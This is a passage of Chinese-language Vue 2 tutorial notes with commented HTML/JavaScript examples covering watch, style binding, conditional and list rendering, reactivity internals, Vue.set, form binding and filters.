		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			watch:{
				//正常写法
				/* isHot:{
					// immediate:true, //初始化时让handler调用一下
					// deep:true,//深度监视
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				}, */
                
				//简写
				/* isHot(newValue,oldValue){ // 函数名就是须监视的属性
					console.log('isHot被修改了',newValue,oldValue,this)
				} */
			}
		})

		//正常写法
		/* vm.$watch('isHot',{
			immediate:true, //初始化时让handler调用一下
			deep:true,//深度监视
			handler(newValue,oldValue){
				console.log('isHot被修改了',newValue,oldValue)
			}
		}) */

        // 【所有Vue管理的函数都要写成普通函数，不要写成箭头函数，如果写成箭头函数，函数中this的指向就不再是vm实例了】
        //   methods中配置的函数及简写，计算属性中配置的函数及简写，监视属性中的handler函数及简写
        
		//简写
		/* vm.$watch('isHot',(newValue,oldValue)=>{
			console.log('isHot被修改了',newValue,oldValue,this) // 简写后，this不再指向vm，而指向了window
		}) */

	</script>
</html>

姓名案例_watch实现

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_watch实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				computed和watch之间的区别：
						1.computed能完成的功能，watch都可以完成。
						2.watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作。
				两个重要的小原则：
						1.所被Vue管理的函数，最好写成普通函数，这样this的指向才是vm 或 组件实例对象。
						2.所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数），
                          最好写成箭头函数，这样this的指向才是vm 或 组件实例对象。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			姓：<input type="text" v-model="firstName"> <br/><br/>
			名：<input type="text" v-model="lastName"> <br/><br/>
			全名：<span>{{fullName}}</span> <br/><br/>
		</div>
	</body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        const vm = new Vue({
            el:'#root',
            data:{
                firstName:'张',
                lastName:'三',
                fullName:'张-三'
            },
            watch:{
                firstName(val){
                    // 一旦写成了箭头函数,函数就没有了自己的this,就得往外层去找this,作为自己的this
                    // 这里外层是firstName函数，而firstName是Vue所管理的普通函数(不是箭头函数)，所以this指向vm。
                    setTimeout(()=>{
                        console.log(this)
                        this.fullName = val + '-' + this.lastName
                    },1000);
                },
                lastName(val){
                    this.fullName = this.firstName + '-' + val
                }
            }
        })
    </script>
</html>

10. 绑定样式

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>绑定样式</title>
		<style>
			.basic{
				width: 400px;
				height: 100px;
				border: 1px solid black;
			}
			
			.happy{
				border: 4px solid red;;
				background-color: rgba(255, 255, 0, 0.644);
				background: linear-gradient(30deg,yellow,pink,orange,yellow);
			}
			.sad{
				border: 4px dashed rgb(2, 197, 2);
				background-color: gray;
			}
			.normal{
				background-color: skyblue;
			}

			.atguigu1{
				background-color: yellowgreen;
			}
			.atguigu2{
				font-size: 30px;
				text-shadow:2px 2px 10px red;
			}
			.atguigu3{
				border-radius: 20px;
			}
		</style>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			绑定样式：
					1. class样式
								写法:class="xxx" xxx可以是字符串、对象、数组。
										字符串写法适用于：类名不确定，要动态获取。
										对象写法适用于：要绑定多个样式，个数不确定，名字也不确定。
										数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用。
					2. style样式
								:style="{fontSize: xxx}"其中xxx是动态值。
								:style="[a,b]"其中a、b是样式对象。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
            
			<!-- 绑定class样式--字符串写法，适用于：样式的类名不确定，需要动态指定 -->
            <!-- 以下 basic 和 mood作为表达式解析出来的结果 合并 作为class的属性 -->
			<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>

			<!-- 绑定class样式--数组写法，适用于：要绑定的样式个数不确定、名字也不确定 -->
            <!-- 以下 basic 和 classArr作为表达式解析出来的结果 合并 作为class的属性 -->
			<div class="basic" :class="classArr">{{name}}</div> <br/><br/>

			<!-- 绑定class样式--对象写法，适用于：要绑定的样式个数确定、名字也确定，但要动态决定用不用 -->
			<div class="basic" :class="classObj">{{name}}</div> <br/><br/>

            
			<!-- 绑定style样式--对象写法 -->
			<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
            
			<!-- 绑定style样式--数组写法 -->
			<div class="basic" :style="styleArr">{{name}}</div>
            
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				mood:'normal',
				classArr:['atguigu1','atguigu2','atguigu3'],
				classObj:{
					atguigu1:false,
					atguigu2:false,
				},
                
				styleObj:{
					fontSize: '40px',
					color:'red',
				},
				styleObj2:{
					backgroundColor:'orange' // 也可以写成'background-color':'orange'
				},
				styleArr:[
					{
						fontSize: '40px',
						color:'blue',
					},
					{
						backgroundColor:'gray'
					}
				]
			},
			methods: {
				changeMood(){
                    // document.getElementById('id').className = 'basic happy' // 不建议直接操作dom
					const arr = ['happy','sad','normal']
					const index = Math.floor(Math.random()*3)
					this.mood = arr[index]
				}
			},
		})
	</script>
	
</html>

11. 条件渲染

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>条件渲染</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				条件渲染：
							1.v-if
										写法：
												(1).v-if="表达式" 
												(2).v-else-if="表达式"
												(3).v-else="表达式"
										适用于：切换频率较低的场景。
										特点：不展示的DOM元素直接被移除。
										注意：v-if可以和:v-else-if、v-else一起使用，但要求结构不能被“打断”。

							2.v-show
										写法：v-show="表达式"
										适用于：切换频率较高的场景。
										特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉
								
							3.备注：使用v-if的时，元素可能无法获取到，而使用v-show一定可以获取到。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
            
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button> <!--当点击按钮时，n变化，模板会被重新解析-->
            
			<!-- 使用v-show做条件渲染，通过控制display属性实现的 -->
			<!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
			<!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

			<!-- 使用v-if做条件渲染，为false的话，根本不渲染这个dom节点 -->
			<!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
			<!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

			<!-- v-else和v-else-if -->
            <!-- 如果前面的v-if为true，那么后面的v-else-if或v-else就不会判断了，直接略过不渲染 -->
            
			<!-- <div v-if="n === 1">Angular</div>
			<div v-else-if="n === 2">React</div> 
			<div v-else-if="n === 3">Vue</div>
			<div v-else>哈哈</div> -->

			<!-- v-if与template的配合使用，不能与v-show配合使用，
                并且template不会渲染出来，因此不会破坏dom结构 -->
			<template v-if="n === 1">
				<h2>你好</h2>
				<h2>尚硅谷</h2>
				<h2>北京</h2>
			</template>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				n:0
			}
		})
	</script>
</html>

12. 列表渲染

基本列表

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>基本列表</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				v-for指令:
						1.用于展示列表数据
						2.语法：v-for="(item, index) in xxx" :key="yyy", 最好必须要写:key，并且唯一
						3.可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）
		-->
		<!-- 准备好一个容器-->
		<div id="root">
            
			<!-- 遍历数组 -->
			<h2>人员列表（遍历数组）</h2>
			<ul>
                <!-- 可以用in 也可以用of，index是索引，使用v-for循环结构必须绑定:key -->
				<li v-for="(p,index) of persons" :key="index"> 
					{{p.name}}-{{p.age}}
				</li>
			</ul>

			<!-- 遍历对象 -->
			<h2>汽车信息（遍历对象）</h2>
			<ul>
                <!-- 可以用in 也可以用of，value是值，k是键，使用v-for循环结构必须绑定:key -->
				<li v-for="(value,k) of car" :key="k">
					{{k}}-{{value}}
				</li>
			</ul>

			<!-- 遍历字符串 -->
			<h2>测试遍历字符串（用得少）</h2>
			<ul>
                <!-- 可以用in 也可以用of，index是索引，使用v-for循环结构必须绑定:key -->
				<li v-for="(char,index) of str" :key="index">
					{{char}}-{{index}}
				</li>
			</ul>
			
			<!-- 遍历指定次数 -->
			<h2>测试遍历指定次数（用得少）</h2>
			<ul>
                <!-- 可以用in 也可以用of，默认从1开始，index是索引，使用v-for循环结构必须绑定:key -->
				<li v-for="(number,index) of 5" :key="index">
					{{index}}-{{number}}
				</li>
			</ul>
            
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					],
					car:{
						name:'奥迪A8',
						price:'70万',
						color:'黑色'
					},
					str:'hello'
				}
			})
		</script>
</html>

key的原理

在这里插入图片描述

在这里插入图片描述

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>key的原理</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
<!-- 
	面试题：react、vue中的key有什么作用？（key的内部原理）
			
			1. 虚拟DOM中key的作用：
							key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】, 
							随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：
							
			2.对比规则：
						(1).旧虚拟DOM中找到了与新虚拟DOM相同的key：
									①.若虚拟DOM中内容没变, 直接使用之前的真实DOM！
									②.若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。

						(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
									创建新的真实DOM，随后渲染到到页面。
									
			3. 用index作为key可能会引发的问题：
								1. 若对数据进行：逆序添加、逆序删除等破坏顺序操作:
												会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

								2. 如果结构中还包含输入类的DOM：
												会产生错误DOM更新 ==> 界面有问题。

			4. 开发中如何选择key?:
								1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
								2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，
									使用index作为key是没有问题的。
-->
        <!-- 准备好一个容器-->
        <div id="root">
            <!-- 遍历数组 -->
            <h2>人员列表（遍历数组）</h2>
            <button @click.once="add">添加一个老刘</button>
            <ul>
                <li v-for="(p,index) of persons" :key="index">
                    {{p.name}}-{{p.age}}
                    <input type="text">
                </li>
            </ul>
        </div>

        <script type="text/javascript">
            Vue.config.productionTip = false

            new Vue({
                el:'#root',
                data:{
                    persons:[
                        {id:'001',name:'张三',age:18},
                        {id:'002',name:'李四',age:19},
                        {id:'003',name:'王五',age:20}
                    ]
                },
                methods: {
                    add(){
                        const p = {id:'004',name:'老刘',age:40}
                        this.persons.unshift(p)
                    }
                },
            })
        </script>
</html>

列表过滤

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>列表过滤</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<input type="text" placeholder="请输入名字" v-model="keyWord">
			<ul>
				<li v-for="(p,index) of filPerons" :key="index">
					{{p.name}}-{{p.age}}-{{p.sex}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			//用watch实现
			//#region 
			/* new Vue({
				el:'#root',
				data:{
					keyWord:'',
					persons:[
						{id:'001',name:'马冬梅',age:19,sex:'女'},
						{id:'002',name:'周冬雨',age:20,sex:'女'},
						{id:'003',name:'周杰伦',age:21,sex:'男'},
						{id:'004',name:'温兆伦',age:22,sex:'男'}
					],
					filPerons:[]
				},
				watch:{
					keyWord:{
						immediate:true,
						handler(val){
							this.filPerons = this.persons.filter((p)=>{
								return p.name.indexOf(val) !== -1
							})
						}
					}
				}
			}) */
			//#endregion
			
			//用computed实现
			new Vue({
				el:'#root',
				data:{
					keyWord:'',
					persons:[
						{id:'001',name:'马冬梅',age:19,sex:'女'},
						{id:'002',name:'周冬雨',age:20,sex:'女'},
						{id:'003',name:'周杰伦',age:21,sex:'男'},
						{id:'004',name:'温兆伦',age:22,sex:'男'}
					]
				},
				computed:{
					filPerons(){ // 只有vue管理的数据有更新,模板就会被重新解析；keyWord变化时，模板被重新解析；
                                 // 因为模板被重新解析，遇到计算属性，而计算属性依赖的数据发生了变化，于是就不读缓存,
                                 // 于是就执行get方法，然后将数据渲染出来
						return this.persons.filter((p)=>{
							return p.name.indexOf(this.keyWord) !== -1
						})
					}
				}
			}) 
		</script>
</html>

列表排序

<!DOCTYPE html>
<html>
    
	<head>
		<meta charset="UTF-8" />
		<title>列表排序</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
        
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<input type="text" placeholder="请输入名字" v-model="keyWord">
			<button @click="sortType = 2">年龄升序</button>
			<button @click="sortType = 1">年龄降序</button>
			<button @click="sortType = 0">原顺序</button>
			<ul>
				<li v-for="(p,index) of filPerons" :key="p.id">
					{{p.name}}-{{p.age}}-{{p.sex}}
					<input type="text">
				</li>
			</ul>
		</div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el:'#root',
            data:{
                keyWord:'',
                sortType:0, //0原顺序 1降序 2升序
                persons:[
                    {id:'001',name:'马冬梅',age:30,sex:'女'},
                    {id:'002',name:'周冬雨',age:31,sex:'女'},
                    {id:'003',name:'周杰伦',age:18,sex:'男'},
                    {id:'004',name:'温兆伦',age:19,sex:'男'}
                ]
            },
            computed:{
                filPerons(){
                    const arr = this.persons.filter((p)=>{
                        return p.name.indexOf(this.keyWord) !== -1
                    })
                    //判断一下是否需要排序
                    if(this.sortType){
                        arr.sort((p1,p2)=>{
                            return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
                        })
                    }
                    return arr
                }
            }
        }) 

    </script>
</html>

更新时的一个问题

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>更新时的一个问题</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<button @click="updateMei">更新马冬梅的信息</button>
			<ul>
				<li v-for="(p,index) of persons" :key="p.id">
					{{p.name}}-{{p.age}}-{{p.sex}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			const vm = new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'马冬梅',age:30,sex:'女'},
						{id:'002',name:'周冬雨',age:31,sex:'女'},
						{id:'003',name:'周杰伦',age:18,sex:'男'},
						{id:'004',name:'温兆伦',age:19,sex:'男'}
					]
				},
				methods: {
					updateMei(){
                        // 使用下面挨个赋值的方法，vue可以监测到数据的改变，并更新到页面上
						// this.persons[0].name = '马老师' //奏效
						// this.persons[0].age = 50 //奏效
						// this.persons[0].sex = '男' //奏效
                        
                        // 使用下面直接赋值给数组中第一项的方法，vue监测不到数据的改变(其实数据已经改了),页面没有更新
						// this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
                        
                        // 要使用下面的方法会奏效
						this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})
					}
				}
			}) 

		</script>
    </body>
</html>

Vue监测数据改变的原理_对象

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue监测数据改变的原理</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>学校名称：{{name}}</h2>
			<h2>学校地址：{{address}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				address:'北京',
				student:{
					name:'tom',
					age:{
						rAge:40,
						sAge:29,
					},
					friends:[
						{name:'jerry',age:35}
					]
				}
			}
		})
	</script>
</html>

在这里插入图片描述

模拟一个数据监测

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Document</title>
	</head>
	<body>
		<script type="text/javascript" >

			let data = {
				name:'尚硅谷',
				address:'北京',
			}

			//创建一个监视的实例对象，用于监视data中属性的变化
			const obs = new Observer(data)		
			console.log(obs)	

			//准备一个vm实例对象
			let vm = {}
			vm._data = data = obs

			function Observer(obj){
				//汇总对象中所有的属性形成一个数组
				const keys = Object.keys(obj)
				//遍历
				keys.forEach((k)=>{
					Object.defineProperty(this,k,{
						get(){
							return obj[k]
						},
						set(val){
							console.log(`${k}被改了，我要去解析模板，生成虚拟DOM.....我要开始忙了`)
							obj[k] = val
						}
					})
				})
			}
		</script>
	</body>
</html>

Vue.set的使用

在这里插入图片描述

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue监测数据改变的原理</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校信息</h1>
			<h2>学校名称：{{school.name}}</h2>
			<h2>学校地址：{{school.address}}</h2>
			<h2>校长是：{{school.leader}}</h2>
			<hr/>
			<h1>学生信息</h1>
			<button @click="addSex">添加一个性别属性，默认值是男</button>
			<h2>姓名：{{student.name}}</h2>
			<h2 v-if="student.sex">性别：{{student.sex}}</h2>
			<h2>年龄：真实{{student.age.rAge}}，对外{{student.age.sAge}}</h2>
			<h2>朋友们</h2>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				school:{
					name:'尚硅谷',
					address:'北京',
				},
				student:{
					name:'tom',
					age:{
						rAge:40,
						sAge:29,
					},
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				}
			}
		})
	</script>
</html>

Vue监测数据改变的原理_数组

在这里插入图片描述

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue监测数据改变的原理_数组</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校信息</h1>
			<h2>学校名称：{{school.name}}</h2>
			<h2>学校地址：{{school.address}}</h2>
			<h2>校长是：{{school.leader}}</h2>
			<hr/>
			<h1>学生信息</h1>
			<button @click="addSex">添加一个性别属性，默认值是男</button>
			<h2>姓名：{{student.name}}</h2>
			<h2 v-if="student.sex">性别：{{student.sex}}</h2>
			<h2>年龄：真实{{student.age.rAge}}，对外{{student.age.sAge}}</h2>
			<h2>爱好</h2>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h2>朋友们</h2>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				school:{
					name:'尚硅谷',
					address:'北京',
				},
				student:{
					name:'tom',
					age:{
						rAge:40,
						sAge:29,
					},
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				}
			}
		})
	</script>
</html>

总结Vue数据监测

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>总结数据监视</title>
		<style>
			button{
				margin-top: 10px;
			}
		</style>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!--
			Vue监视数据的原理：
				1. vue会监视data中所有层次的数据。

				2. 如何监测对象中的数据？
								通过setter实现监视，且要在new Vue时就传入要监测的数据。
									(1).对象中后追加的属性，Vue默认不做响应式处理
									(2).如需给后添加的属性做响应式，请使用如下API：
													Vue.set(target，propertyName/index，value) 或 
													vm.$set(target，propertyName/index，value)

				3. 如何监测数组中的数据？
									通过包裹数组更新元素的方法实现，本质就是做了两件事：
										(1).调用原生对应的方法对数组进行更新。
										(2).重新解析模板，进而更新页面。

				4.在Vue修改数组中的某个元素一定要用如下方法：
							1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
							2.Vue.set() 或 vm.$set()
				
				特别注意：Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性！！！
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学生信息</h1>
            
			<button @click="student.age++">年龄+1岁</button> <br/>
			<button @click="addSex">添加性别属性，默认值：男</button> <br/>
			<button @click="student.sex = '未知' ">修改性别</button> <br/>
			<button @click="addFriend">在列表首位添加一个朋友</button> <br/>
			<button @click="updateFirstFriendName">修改第一个朋友的名字为：张三</button> <br/>
			<button @click="addHobby">添加一个爱好</button> <br/>
			<button @click="updateHobby">修改第一个爱好为：开车</button> <br/>
			<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
            
			<h3>姓名：{{student.name}}</h3>
            
			<h3>年龄：{{student.age}}</h3>
            
			<h3 v-if="student.sex">性别：{{student.sex}}</h3>
            
			<h3>爱好：</h3>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
            
			<h3>朋友们：</h3>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				student:{
					name:'tom',
					age:18,
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
                
                // 添加一个sex属性
				addSex(){
                    
                    // this.student.sex = '男' // 这样写数据是改了,但这是没有响应式的
                    
                    // 可以这样写
                    Vue.set(this._data.student,'sex','男') // this就是vue实例
                    
                    // 也可以这样写,因为vm身上的student属性做了数据代理,所以可以省略_data,如下这样写
					// Vue.set(this.student,'sex','男') 
                    
					this.$set(this.student,'sex','男')
				},
                
				addFriend(){
                    // 因为调用的是vue包装的那7个方法，所以vue是能监测到改变的
					this.student.friends.unshift({name:'jack',age:70})
				},
                
				updateFirstFriendName(){
                    // vue所配置的data对象，管理的所有属性中，包括数组中的某个对象中的所有属性，
                    // 也是有一对响应式的setter和getter方法的，所以下面能够响应式。
                    
                    // vue监测到的是数组属性，包装了数组原型对象上的7个方法，修改了原方法的行为。
                    // 而针对数组中的每个对象(假设是对象) 中的每个属性,也都是添加了响应式的settter和getter
					this.student.friends[0].name = '张三'
				},
                
				addHobby(){
                    // vue包装了数组原型对象上的7个方法，修改了原方法的行为，所以可以检测到数组的改变。
                    // 别忘了hobby也是有对应的响应式的setter和getter
					this.student.hobby.push('学习')
				},
                
				updateHobby(){
                    
                    // 这下要注意了，hobby数组对应的元素可不是对象哦，
                    
                    // 可以这样
					// this.student.hobby.splice(0,1,'开车')
                    
                    // 也可以下面这样
					// Vue.set(this.student.hobby,0,'开车')
					this.$set(this.student.hobby,0,'开车')
				},
                
				removeSmoke(){
					this.student.hobby = this.student.hobby.filter((h)=>{
						return h !== '抽烟'
					})
				}
			}
		})
	</script>
</html>

13. 收集表单数据

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>收集表单数据</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			收集表单数据：
					若：<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。
					若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。
					若：<input type="checkbox"/>
							1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）
							2.配置input的value属性:
									(1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）
									(2)v-model的初始值是数组，那么收集的的就是value组成的数组
					备注：v-model的三个修饰符：
									lazy：失去焦点再收集数据
									number：输入字符串转为有效的数字
									trim：输入首尾空格过滤
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<form @submit.prevent="demo">
                
				账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>
				密码：<input type="password" v-model="userInfo.password"> <br/><br/>
				年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/><!--输入数字-->
                
				性别：
				男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
				女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> 
                <br/><br/>
                
				爱好：
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
				打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
				吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
                <br/><br/>
                
				所属校区
				<select v-model="userInfo.city">
					<option value="">请选择校区</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
				<br/><br/>
                
				其他信息：
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
                
				<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="#">《用户协议》</a>
                
				<button>提交</button>
			</form>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				userInfo:{
					account:'',
					password:'',
					age:18,
					sex:'female',
					hobby:[], // 多选框必须要使用数组，不然会影响收集到的值
					city:'beijing',
					other:'',
					agree:''
				}
			},
			methods: {
				demo(){
					console.log(JSON.stringify(this._data)) // 这样也不影响使用,但建议不要这样做
					console.log(JSON.stringify(this.userInfo))
				}
			}
		})
	</script>
</html>

14. 过滤器

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>过滤器</title>
		<script type="text/javascript" src="../js/vue.js"></script>
		<script type="text/javascript" src="../js/dayjs.min.js"></script>
	</head>
	<body>
		<!-- 
			过滤器：
				定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
				语法：
						1.注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
						2.使用过滤器：{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
				备注：
						1.过滤器也可以接收额外参数、多个过滤器也可以串联
						2.并没有改变原本的数据, 是产生新的对应的数据
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>显示格式化后的时间</h2>
            
			<!-- 计算属性实现 -->
			<h3>现在是：{{fmtTime}}</h3>
            
			<!-- methods实现 -->
			<h3>现在是：{{getFmtTime()}}</h3>
            
			<!-- 过滤器实现 -->
			<h3>现在是：{{time | timeFormater}}</h3>
            
			<!-- 过滤器实现（传参） -->
			<h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
            
            <!-- v-bind中也可以使用过滤器 -->
			<h3 :x="msg | mySlice">尚硅谷</h3>
		</div>

		<div id="root2">
			<h2>{{msg | mySlice}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
        
		// 注册全局过滤器(必须在new Vue()之前注册)
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})
		
		new Vue({
			el:'#root',
			data:{
				time:1621561377603, //时间戳
				msg:'你好，尚硅谷'
			},
			computed: {
				fmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			methods: {
				getFmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			//局部过滤器(只能在当前vue实例或组件中使用)
			filters:{
				timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
					// console.log('@',value)
					return dayjs(value).format(str)
				}
			}
		})

		new Vue({
			el:'#root2',
			data:{
				msg:'hello,atguigu!'
			}
		})
	</script>
</html>

15. 内置指令

v-text

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				我们学过的指令：
						v-bind	: 单向绑定解析表达式, 可简写为 :xxx
						v-model	: 双向数据绑定
						v-for  	: 遍历数组/对象/字符串
						v-on   	: 绑定事件监听, 可简写为@
						v-if 	 	: 条件渲染（动态控制节点是否存存在）
						v-else 	: 条件渲染（动态控制节点是否存存在）
						v-show 	: 条件渲染 (动态控制节点是否展示)
				v-text指令：
						1.作用：向其所在的节点中渲染文本内容（不会识别文本中的html标签）。
						2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好，{{name}}</div>
